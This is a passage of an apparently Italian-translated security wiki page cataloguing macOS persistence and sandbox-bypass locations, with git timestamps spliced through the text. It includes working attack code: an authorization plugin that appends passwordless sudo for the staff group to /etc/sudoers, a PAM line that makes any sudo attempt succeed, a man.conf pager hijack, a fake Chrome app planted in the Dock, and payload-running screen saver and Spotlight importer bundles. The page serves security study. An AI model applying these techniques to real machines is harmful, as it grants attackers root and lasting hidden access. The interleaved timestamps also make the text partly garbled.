< string > 1.0< / string >
< key > CFBundleInfoDictionaryVersion< / key >
< string > 6.0< / string >
< key > CFBundlePackageType< / key >
< string > APPL< / string >
< key > CFBundleIconFile< / key >
< string > app< / string >
2023-09-28 21:12:41 +00:00
< / dict >
< / plist >
EOF
# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns
# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '< dict > < key > tile-data< / key > < dict > < key > file-data< / key > < dict > < key > _CFURLString< / key > < string > /tmp/Google Chrome.app< / string > < key > _CFURLStringType< / key > < integer > 0< / integer > < / dict > < / dict > < / dict > '
killall Dock
```
2024-09-21 18:25:09 +00:00
### Color Pickers
2023-09-28 21:12:41 +00:00
2024-09-21 18:25:09 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0017 ](https://theevilbit.github.io/beyond/beyond\_0017/ )
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
* Utile per bypassare la sandbox: [🟠 ](https://emojipedia.org/large-orange-circle )
* Deve avvenire un'azione molto specifica
* Finirai in un'altra sandbox
2024-03-29 21:03:31 +00:00
* Bypass TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:09 +00:00
#### Location
2023-09-28 15:09:34 +00:00
2024-01-10 00:59:55 +00:00
* `/Library/ColorPickers`
2024-09-21 18:25:09 +00:00
* Richiesta di root
* Trigger: Usa il selettore di colori
2023-09-28 15:09:34 +00:00
* `~/Library/ColorPickers`
2024-09-21 18:25:09 +00:00
* Trigger: Usa il selettore di colori
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
#### Description & Exploit
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
**Compila un selettore di colori** bundle con il tuo codice (puoi usare [**questo ad esempio** ](https://github.com/viktorstrate/color-picker-plus )) e aggiungi un costruttore (come nella [sezione Salvaschermo ](macos-auto-start-locations.md#screen-saver )) e copia il bundle in `~/Library/ColorPickers` .
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
Poi, quando il selettore di colori viene attivato, il tuo codice dovrebbe essere eseguito.
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
Nota che il binario che carica la tua libreria ha una **sandbox molto restrittiva** : `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
{% code overflow="wrap" %}
2023-09-28 15:09:34 +00:00
```bash
[Key] com.apple.security.temporary-exception.sbpl
2024-02-10 13:03:23 +00:00
[Value]
[Array]
[String] (deny file-write* (home-subpath "/Library/Colors"))
[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
[String] (allow file-read* (extension "com.apple.app-sandbox.read"))
2023-06-01 21:09:46 +00:00
```
2023-09-28 15:09:34 +00:00
{% endcode %}
2024-09-21 18:25:09 +00:00
### Finder Sync Plugins
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0026/ ](https://theevilbit.github.io/beyond/beyond\_0026/ )\
**Writeup**: [https://objective-see.org/blog/blog\_0x11.html ](https://objective-see.org/blog/blog\_0x11.html )
2023-09-28 20:05:35 +00:00
2024-03-29 21:03:31 +00:00
* Utile per bypassare il sandbox: **No, perché è necessario eseguire la propria app**
2024-02-10 13:03:23 +00:00
* Bypass TCC: ???
2023-09-28 15:09:34 +00:00
2024-02-10 13:03:23 +00:00
#### Posizione
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
* Un'app specifica
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:42 +00:00
#### Descrizione & Exploit
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:42 +00:00
Un esempio di applicazione con un'estensione Finder Sync [**può essere trovato qui** ](https://github.com/D00MFist/InSync ).
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:09 +00:00
Le applicazioni possono avere `Finder Sync Extensions` . Questa estensione andrà all'interno di un'applicazione che verrà eseguita. Inoltre, affinché l'estensione possa eseguire il proprio codice, **deve essere firmata** con un valido certificato di sviluppatore Apple, deve essere **sandboxed** (anche se potrebbero essere aggiunte eccezioni rilassate) e deve essere registrata con qualcosa come:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync
2023-06-01 21:09:46 +00:00
```
2023-09-28 15:09:34 +00:00
### Screen Saver
2024-03-29 21:03:31 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0016/ ](https://theevilbit.github.io/beyond/beyond\_0016/ )\
2024-09-21 18:25:09 +00:00
Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b ](https://posts.specterops.io/saving-your-access-d562bf5bf90b )
2023-09-28 15:09:34 +00:00
2024-07-17 18:34:34 +00:00
* Utile per bypassare il sandbox: [🟠 ](https://emojipedia.org/large-orange-circle )
2024-09-21 18:25:09 +00:00
* Ma finirai in un sandbox di applicazione comune
2024-02-10 13:03:23 +00:00
* Bypass TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:09 +00:00
#### Location
2023-09-28 15:09:34 +00:00
2024-01-10 00:59:55 +00:00
* `/System/Library/Screen Savers`
2024-09-21 18:25:09 +00:00
* Richiesta di root
* **Trigger**: Seleziona il salvaschermo
2023-09-28 15:09:34 +00:00
* `/Library/Screen Savers`
2024-09-21 18:25:09 +00:00
* Richiesta di root
* **Trigger**: Seleziona il salvaschermo
2023-09-28 15:09:34 +00:00
* `~/Library/Screen Savers`
2024-09-21 18:25:09 +00:00
* **Trigger**: Seleziona il salvaschermo
2023-09-28 15:09:34 +00:00
2024-05-05 22:09:41 +00:00
< figure > < img src = "../.gitbook/assets/image (38).png" alt = "" width = "375" > < figcaption > < / figcaption > < / figure >
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
#### Description & Exploit
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
Crea un nuovo progetto in Xcode e seleziona il template per generare un nuovo **Screen Saver** . Poi, aggiungi il tuo codice, ad esempio il seguente codice per generare log.
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
**Build** it, and copy the `.saver` bundle to ** `~/Library/Screen Savers` **. Then, open the Screen Saver GUI and it you just click on it, it should generate a lot of logs:
2023-09-28 15:09:34 +00:00
{% code overflow="wrap" %}
```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'
Timestamp (process)[PID]
2023-09-27 22:55:39.622369+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char ** )
2023-09-27 22:55:39.622623+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:]
2023-09-27 22:55:39.622704+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]
```
{% endcode %}
{% hint style="danger" %}
2024-09-21 18:25:09 +00:00
Nota che, poiché all'interno dei diritti del binario che carica questo codice (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) puoi trovare ** `com.apple.security.app-sandbox` **, sarai **all'interno del comune sandbox dell'applicazione** .
2023-09-28 15:09:34 +00:00
{% endhint %}
2024-09-21 18:25:09 +00:00
Saver code:
2023-09-28 15:09:34 +00:00
```objectivec
//
// ScreenSaverExampleView.m
// ScreenSaverExample
//
// Created by Carlos Polop on 27/9/23.
//
#import "ScreenSaverExampleView.h"
@implementation ScreenSaverExampleView
- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
{
2024-02-10 13:03:23 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
self = [super initWithFrame:frame isPreview:isPreview];
if (self) {
[self setAnimationTimeInterval:1/30.0];
}
return self;
2023-09-28 15:09:34 +00:00
}
- (void)startAnimation
{
2024-02-10 13:03:23 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
[super startAnimation];
2023-09-28 15:09:34 +00:00
}
- (void)stopAnimation
{
2024-02-10 13:03:23 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
[super stopAnimation];
2023-09-28 15:09:34 +00:00
}
- (void)drawRect:(NSRect)rect
{
2024-02-10 13:03:23 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
[super drawRect:rect];
2023-09-28 15:09:34 +00:00
}
- (void)animateOneFrame
{
2024-02-10 13:03:23 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
return;
2023-09-28 15:09:34 +00:00
}
- (BOOL)hasConfigureSheet
{
2024-02-10 13:03:23 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
return NO;
2023-09-28 15:09:34 +00:00
}
- (NSWindow*)configureSheet
{
2024-02-10 13:03:23 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
return nil;
2023-09-28 15:09:34 +00:00
}
__attribute__((constructor))
void custom(int argc, const char **argv) {
2024-02-10 13:03:23 +00:00
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
2023-09-28 15:09:34 +00:00
}
@end
```
2024-09-21 18:25:09 +00:00
### Spotlight Plugins
2023-10-01 18:04:16 +00:00
2023-12-30 00:49:26 +00:00
writeup: [https://theevilbit.github.io/beyond/beyond\_0011/ ](https://theevilbit.github.io/beyond/beyond\_0011/ )
2023-10-01 18:04:16 +00:00
2024-09-21 18:25:09 +00:00
* Utile per bypassare il sandbox: [🟠 ](https://emojipedia.org/large-orange-circle )
* Ma finirai in un'applicazione sandbox
2024-07-18 17:35:13 +00:00
* Bypass TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2024-02-10 13:03:23 +00:00
* Il sandbox sembra molto limitato
2023-10-01 18:04:16 +00:00
2024-09-21 18:25:09 +00:00
#### Location
2023-10-01 18:04:16 +00:00
* `~/Library/Spotlight/`
2024-09-21 18:25:09 +00:00
* **Trigger**: Viene creato un nuovo file con un'estensione gestita dal plugin spotlight.
2023-10-01 18:04:16 +00:00
* `/Library/Spotlight/`
2024-09-21 18:25:09 +00:00
* **Trigger**: Viene creato un nuovo file con un'estensione gestita dal plugin spotlight.
* Richiesta root
2023-10-01 18:04:16 +00:00
* `/System/Library/Spotlight/`
2024-09-21 18:25:09 +00:00
* **Trigger**: Viene creato un nuovo file con un'estensione gestita dal plugin spotlight.
* Richiesta root
2023-10-01 18:04:16 +00:00
* `Some.app/Contents/Library/Spotlight/`
2024-09-21 18:25:09 +00:00
* **Trigger**: Viene creato un nuovo file con un'estensione gestita dal plugin spotlight.
* Nuova app richiesta
2023-10-01 18:04:16 +00:00
2024-09-21 18:25:09 +00:00
#### Description & Exploitation
2023-10-01 18:04:16 +00:00
2024-09-21 18:25:09 +00:00
Spotlight è la funzione di ricerca integrata di macOS, progettata per fornire agli utenti **accesso rapido e completo ai dati sui loro computer** .\
Per facilitare questa capacità di ricerca rapida, Spotlight mantiene un **database proprietario** e crea un indice **analizzando la maggior parte dei file** , consentendo ricerche rapide sia attraverso i nomi dei file che il loro contenuto.
2023-10-01 18:04:16 +00:00
2024-09-21 18:25:09 +00:00
Il meccanismo sottostante di Spotlight coinvolge un processo centrale chiamato 'mds', che sta per ** 'metadata server'.** Questo processo orchestra l'intero servizio Spotlight. A complemento di questo, ci sono più demoni 'mdworker' che eseguono una varietà di compiti di manutenzione, come indicizzare diversi tipi di file (`ps -ef | grep mdworker`). Questi compiti sono resi possibili attraverso i plugin importatori di Spotlight, o ** ".mdimporter bundles**", che consentono a Spotlight di comprendere e indicizzare contenuti attraverso una vasta gamma di formati di file.
2023-10-01 18:04:16 +00:00
2024-09-21 18:25:09 +00:00
I plugin o ** `.mdimporter` ** bundles si trovano nei luoghi menzionati in precedenza e se appare un nuovo bundle viene caricato in un minuto (non è necessario riavviare alcun servizio). Questi bundle devono indicare quali **tipi di file e estensioni possono gestire** , in questo modo, Spotlight li utilizzerà quando viene creato un nuovo file con l'estensione indicata.
2023-10-01 18:04:16 +00:00
2024-09-21 18:25:09 +00:00
È possibile **trovare tutti gli `mdimporters`** caricati eseguendo:
2023-10-01 18:04:16 +00:00
```bash
mdimport -L
Paths: id(501) (
2024-02-10 13:03:23 +00:00
"/System/Library/Spotlight/iWork.mdimporter",
"/System/Library/Spotlight/iPhoto.mdimporter",
"/System/Library/Spotlight/PDF.mdimporter",
[...]
2023-10-01 18:04:16 +00:00
```
2024-09-21 18:25:09 +00:00
E per esempio ** /Library/Spotlight/iBooksAuthor.mdimporter** è utilizzato per analizzare questi tipi di file (estensioni `.iba` e `.book` tra gli altri):
2023-10-01 18:04:16 +00:00
```json
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
[...]
"CFBundleDocumentTypes" => [
2024-02-10 13:03:23 +00:00
0 => {
"CFBundleTypeName" => "iBooks Author Book"
"CFBundleTypeRole" => "MDImporter"
"LSItemContentTypes" => [
0 => "com.apple.ibooksauthor.book"
1 => "com.apple.ibooksauthor.pkgbook"
2 => "com.apple.ibooksauthor.template"
3 => "com.apple.ibooksauthor.pkgtemplate"
]
"LSTypeIsPackage" => 0
}
]
2023-10-01 18:04:16 +00:00
[...]
2024-02-10 13:03:23 +00:00
=> {
"UTTypeConformsTo" => [
0 => "public.data"
1 => "public.composite-content"
]
"UTTypeDescription" => "iBooks Author Book"
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
"UTTypeTagSpecification" => {
"public.filename-extension" => [
0 => "iba"
1 => "book"
]
}
}
2023-10-01 18:04:16 +00:00
[...]
```
{% hint style="danger" %}
2024-09-21 18:25:09 +00:00
Se controlli il Plist di altri `mdimporter` , potresti non trovare l'entry ** `UTTypeConformsTo` **. Questo perché è un _Identificatore di Tipo Uniforme_ incorporato ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) e non è necessario specificare le estensioni.
2023-10-01 18:04:16 +00:00
2024-09-21 18:25:09 +00:00
Inoltre, i plugin di sistema predefiniti hanno sempre la precedenza, quindi un attaccante può accedere solo a file che non sono altrimenti indicizzati dai `mdimporters` di Apple.
2023-10-01 18:04:16 +00:00
{% endhint %}
2024-09-21 18:25:09 +00:00
Per creare il tuo importatore, puoi iniziare con questo progetto: [https://github.com/megrimm/pd-spotlight-importer ](https://github.com/megrimm/pd-spotlight-importer ) e poi cambiare il nome, il ** `CFBundleDocumentTypes` ** e aggiungere ** `UTImportedTypeDeclarations` ** in modo che supporti l'estensione che desideri supportare e rifletterli in ** `schema.xml` **.\
Poi **cambia** il codice della funzione ** `GetMetadataForFile` ** per eseguire il tuo payload quando viene creato un file con l'estensione elaborata.
2023-10-01 18:04:16 +00:00
2024-09-21 18:25:09 +00:00
Infine **compila e copia il tuo nuovo `.mdimporter`** in una delle tre posizioni precedenti e puoi controllare se viene caricato **monitorando i log** o controllando ** `mdimport -L.` **
2023-10-01 18:04:16 +00:00
2024-09-21 18:25:09 +00:00
### ~~Pannello di Preferenze~~
2023-06-01 21:09:46 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="danger" %}
2024-05-05 22:09:41 +00:00
Non sembra che questo funzioni più.
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
Scrittura: [https://theevilbit.github.io/beyond/beyond\_0009/ ](https://theevilbit.github.io/beyond/beyond\_0009/ )
2023-09-28 15:09:34 +00:00
2024-03-17 16:26:31 +00:00
* Utile per bypassare il sandbox: [🟠 ](https://emojipedia.org/large-orange-circle )
2024-09-21 18:25:09 +00:00
* Richiede un'azione specifica dell'utente
2024-02-10 13:03:23 +00:00
* Bypass TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-10 13:03:23 +00:00
#### Posizione
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`/System/Library/PreferencePanes`**
* **`/Library/PreferencePanes`**
* **`~/Library/PreferencePanes`**
2023-06-01 21:09:46 +00:00
2024-02-10 13:03:23 +00:00
#### Descrizione
2023-06-01 21:09:46 +00:00
2024-05-05 22:09:41 +00:00
Non sembra che questo funzioni più.
2023-06-01 21:09:46 +00:00
2024-02-13 00:50:42 +00:00
## Bypass del Sandbox di Root
2023-06-01 21:09:46 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="success" %}
2024-09-21 18:25:09 +00:00
Qui puoi trovare posizioni di avvio utili per il **bypass del sandbox** che ti consente di eseguire semplicemente qualcosa **scrivendolo in un file** essendo **root** e/o richiedendo altre **condizioni strane.**
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:42 +00:00
### Periodico
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:09 +00:00
Scrittura: [https://theevilbit.github.io/beyond/beyond\_0019/ ](https://theevilbit.github.io/beyond/beyond\_0019/ )
2023-09-26 23:39:35 +00:00
2024-03-17 16:26:31 +00:00
* Utile per bypassare il sandbox: [🟠 ](https://emojipedia.org/large-orange-circle )
2024-02-10 13:03:23 +00:00
* Ma devi essere root
* Bypass TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-26 23:39:35 +00:00
2024-02-10 13:03:23 +00:00
#### Posizione
2023-09-26 23:39:35 +00:00
2023-09-28 20:05:35 +00:00
* `/etc/periodic/daily` , `/etc/periodic/weekly` , `/etc/periodic/monthly` , `/usr/local/etc/periodic`
2024-09-21 18:25:09 +00:00
* Richiesta di root
* **Attivazione**: Quando arriva il momento
2024-02-10 13:03:23 +00:00
* `/etc/daily.local` , `/etc/weekly.local` o `/etc/monthly.local`
2024-09-21 18:25:09 +00:00
* Richiesta di root
* **Attivazione**: Quando arriva il momento
2023-06-01 21:09:46 +00:00
2024-05-05 22:09:41 +00:00
#### Descrizione & Sfruttamento
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
Gli script periodici (**`/etc/periodic`**) vengono eseguiti a causa dei **lanciatori di demoni** configurati in `/System/Library/LaunchDaemons/com.apple.periodic*` . Nota che gli script memorizzati in `/etc/periodic/` vengono **eseguiti** come **proprietario del file** , quindi questo non funzionerà per un potenziale escalation di privilegi.
2023-09-28 20:05:35 +00:00
{% code overflow="wrap" %}
```bash
# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
-rw-r--r-- 1 root wheel 887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
-rw-r--r-- 1 root wheel 895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
-rw-r--r-- 1 root wheel 891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
# The scripts located in their locations
ls -lR /etc/periodic
total 0
drwxr-xr-x 11 root wheel 352 May 13 00:29 daily
drwxr-xr-x 5 root wheel 160 May 13 00:29 monthly
drwxr-xr-x 3 root wheel 96 May 13 00:29 weekly
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
/etc/periodic/daily:
total 72
-rwxr-xr-x 1 root wheel 1642 May 13 00:29 110.clean-tmps
-rwxr-xr-x 1 root wheel 695 May 13 00:29 130.clean-msgs
[...]
2023-06-01 21:09:46 +00:00
2023-09-28 20:05:35 +00:00
/etc/periodic/monthly:
total 24
-rwxr-xr-x 1 root wheel 888 May 13 00:29 199.rotate-fax
-rwxr-xr-x 1 root wheel 1010 May 13 00:29 200.accounting
-rwxr-xr-x 1 root wheel 606 May 13 00:29 999.local
2023-06-01 21:09:46 +00:00
2023-09-28 20:05:35 +00:00
/etc/periodic/weekly:
total 8
-rwxr-xr-x 1 root wheel 620 May 13 00:29 999.local
2023-06-01 21:09:46 +00:00
```
2023-09-28 20:05:35 +00:00
{% endcode %}
2023-06-01 21:09:46 +00:00
2024-02-10 13:03:23 +00:00
Ci sono altri script periodici che verranno eseguiti indicati in ** `/etc/defaults/periodic.conf` **:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local" # Local scripts
weekly_local="/etc/weekly.local" # Local scripts
monthly_local="/etc/monthly.local" # Local scripts
2023-06-01 21:09:46 +00:00
```
2024-09-21 18:25:09 +00:00
Se riesci a scrivere uno dei file `/etc/daily.local` , `/etc/weekly.local` o `/etc/monthly.local` , verrà **eseguito prima o poi** .
2023-09-28 15:09:34 +00:00
2023-11-02 16:52:21 +00:00
{% hint style="warning" %}
2024-09-21 18:25:09 +00:00
Nota che lo script periodico verrà **eseguito come il proprietario dello script** . Quindi, se un utente normale possiede lo script, verrà eseguito come quell'utente (questo potrebbe prevenire attacchi di escalation dei privilegi).
2023-11-02 16:52:21 +00:00
{% endhint %}
2023-09-28 20:05:35 +00:00
### PAM
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
Writeup: [Linux Hacktricks PAM ](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md )\
Writeup: [https://theevilbit.github.io/beyond/beyond\_0005/ ](https://theevilbit.github.io/beyond/beyond\_0005/ )
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
* Utile per bypassare la sandbox: [🟠 ](https://emojipedia.org/large-orange-circle )
* Ma devi essere root
2024-02-10 13:03:23 +00:00
* Bypass TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-10 13:03:23 +00:00
#### Posizione
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:09 +00:00
* Root sempre richiesto
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:09 +00:00
#### Descrizione & Sfruttamento
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:09 +00:00
Poiché PAM è più focalizzato sulla **persistenza** e sul malware che su una facile esecuzione all'interno di macOS, questo blog non fornirà una spiegazione dettagliata, **leggi i writeup per comprendere meglio questa tecnica** .
2023-11-02 16:52:21 +00:00
2024-02-10 13:03:23 +00:00
Controlla i moduli PAM con:
2023-11-02 16:52:21 +00:00
```bash
ls -l /etc/pam.d
```
2024-09-21 18:25:09 +00:00
Una tecnica di persistenza/escallation dei privilegi che sfrutta PAM è semplice come modificare il modulo /etc/pam.d/sudo aggiungendo all'inizio la riga:
2023-11-02 16:52:21 +00:00
```bash
auth sufficient pam_permit.so
```
2024-09-21 18:25:09 +00:00
Quindi sembrerà qualcosa del genere:
2023-11-02 16:52:21 +00:00
```bash
# sudo: auth account password session
auth sufficient pam_permit.so
auth include sudo_local
auth sufficient pam_smartcard.so
auth required pam_opendirectory.so
account required pam_permit.so
password required pam_deny.so
session required pam_permit.so
```
2024-02-10 13:03:23 +00:00
E quindi qualsiasi tentativo di utilizzare ** `sudo` funzionerà**.
2023-11-02 16:52:21 +00:00
{% hint style="danger" %}
2024-09-21 18:25:09 +00:00
Nota che questa directory è protetta da TCC, quindi è altamente probabile che l'utente riceva un prompt che chiede l'accesso.
2023-11-02 16:52:21 +00:00
{% endhint %}
2024-09-21 18:25:09 +00:00
Un altro bel esempio è su, dove puoi vedere che è anche possibile fornire parametri ai moduli PAM (e potresti anche backdoor questo file):
```bash
cat /etc/pam.d/su
# su: auth account session
auth sufficient pam_rootok.so
auth required pam_opendirectory.so
account required pam_group.so no_warn group=admin,wheel ruser root_only fail_safe
account required pam_opendirectory.so no_check_shell
password required pam_opendirectory.so
session required pam_launchd.so
```
### Authorization Plugins
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:09 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/ ](https://theevilbit.github.io/beyond/beyond\_0028/ )\
Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65 ](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65 )
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
* Utile per bypassare il sandbox: [🟠 ](https://emojipedia.org/large-orange-circle )
* Ma è necessario essere root e fare configurazioni extra
* Bypass TCC: ???
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
#### Location
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* `/Library/Security/SecurityAgentPlugins/`
2024-09-21 18:25:09 +00:00
* Richiesta root
2024-02-10 13:03:23 +00:00
* È anche necessario configurare il database di autorizzazione per utilizzare il plugin
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
#### Description & Exploitation
2023-09-28 20:05:35 +00:00
2024-09-21 18:25:09 +00:00
Puoi creare un plugin di autorizzazione che verrà eseguito quando un utente accede per mantenere la persistenza. Per ulteriori informazioni su come crearne uno di questi plugin, controlla i writeup precedenti (e fai attenzione, uno scritto male può bloccarti e dovrai pulire il tuo mac dalla modalità di recupero).
2023-11-03 11:03:53 +00:00
```objectivec
// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/
#import <Foundation/Foundation.h>
__attribute__((constructor)) static void run()
{
2024-02-10 13:03:23 +00:00
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
2023-11-03 11:03:53 +00:00
}
```
2024-09-21 18:25:09 +00:00
**Sposta** il pacchetto nella posizione da caricare:
2023-11-03 11:03:53 +00:00
```bash
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
```
2024-09-21 18:25:09 +00:00
Infine, aggiungi la **regola** per caricare questo Plugin:
2023-11-03 11:03:53 +00:00
```bash
cat > /tmp/rule.plist < < EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
2024-02-10 13:03:23 +00:00
< key > class< / key >
< string > evaluate-mechanisms< / string >
< key > mechanisms< / key >
< array >
< string > CustomAuth:login,privileged< / string >
< / array >
< / dict >
2023-11-03 11:03:53 +00:00
< / plist >
EOF
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
```
2024-09-21 18:25:09 +00:00
Il ** `evaluate-mechanisms` ** dirà al framework di autorizzazione che avrà bisogno di **chiamare un meccanismo esterno per l'autorizzazione** . Inoltre, ** `privileged` ** farà sì che venga eseguito da root.
2023-11-03 11:03:53 +00:00
2024-02-13 00:50:42 +00:00
Attivalo con:
2023-11-03 11:03:53 +00:00
```bash
security authorize com.asdf.asdf
```
2024-03-17 16:26:31 +00:00
E poi il **gruppo staff dovrebbe avere accesso sudo** (leggi `/etc/sudoers` per confermare).
2023-11-03 11:03:53 +00:00
2023-09-28 20:05:35 +00:00
### Man.conf
2023-06-01 21:09:46 +00:00
2023-09-28 20:05:35 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/ ](https://theevilbit.github.io/beyond/beyond\_0030/ )
2023-06-01 21:09:46 +00:00
2024-02-10 13:03:23 +00:00
* Utile per bypassare il sandbox: [🟠 ](https://emojipedia.org/large-orange-circle )
2024-09-21 18:25:09 +00:00
* Ma devi essere root e l'utente deve usare man
2024-02-10 13:03:23 +00:00
* Bypass TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-10 13:03:23 +00:00
#### Posizione
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`/private/etc/man.conf`**
2024-09-21 18:25:09 +00:00
* Richiesta root
* **`/private/etc/man.conf`**: Ogni volta che viene usato man
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
#### Descrizione & Exploit
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:09 +00:00
Il file di configurazione ** `/private/etc/man.conf` ** indica il binario/script da utilizzare quando si aprono i file di documentazione man. Quindi il percorso dell'eseguibile potrebbe essere modificato in modo che ogni volta che l'utente usa man per leggere della documentazione, venga eseguita una backdoor.
2023-06-01 21:09:46 +00:00
2024-09-21 18:25:09 +00:00
Ad esempio impostato in ** `/private/etc/man.conf` **:
2023-09-28 20:05:35 +00:00
```
MANPAGER /tmp/view
2023-06-01 21:09:46 +00:00
```
2024-09-21 18:25:09 +00:00
E poi crea `/tmp/view` come:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
#!/bin/zsh
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
touch /tmp/manconf
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
/usr/bin/less -s
```
2023-09-28 15:09:34 +00:00
### Apache2
2024-09-21 18:25:09 +00:00
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0023/ ](https://theevilbit.github.io/beyond/beyond\_0023/ )
2023-09-28 15:09:34 +00:00
2024-09-21 18:25:09 +00:00
* Utile per bypassare la sandbox: [🟠 ](https://emojipedia.org/large-orange-circle )
* Ma è necessario essere root e apache deve essere in esecuzione
2024-02-10 13:03:23 +00:00
* Bypass TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2024-02-13 00:50:42 +00:00
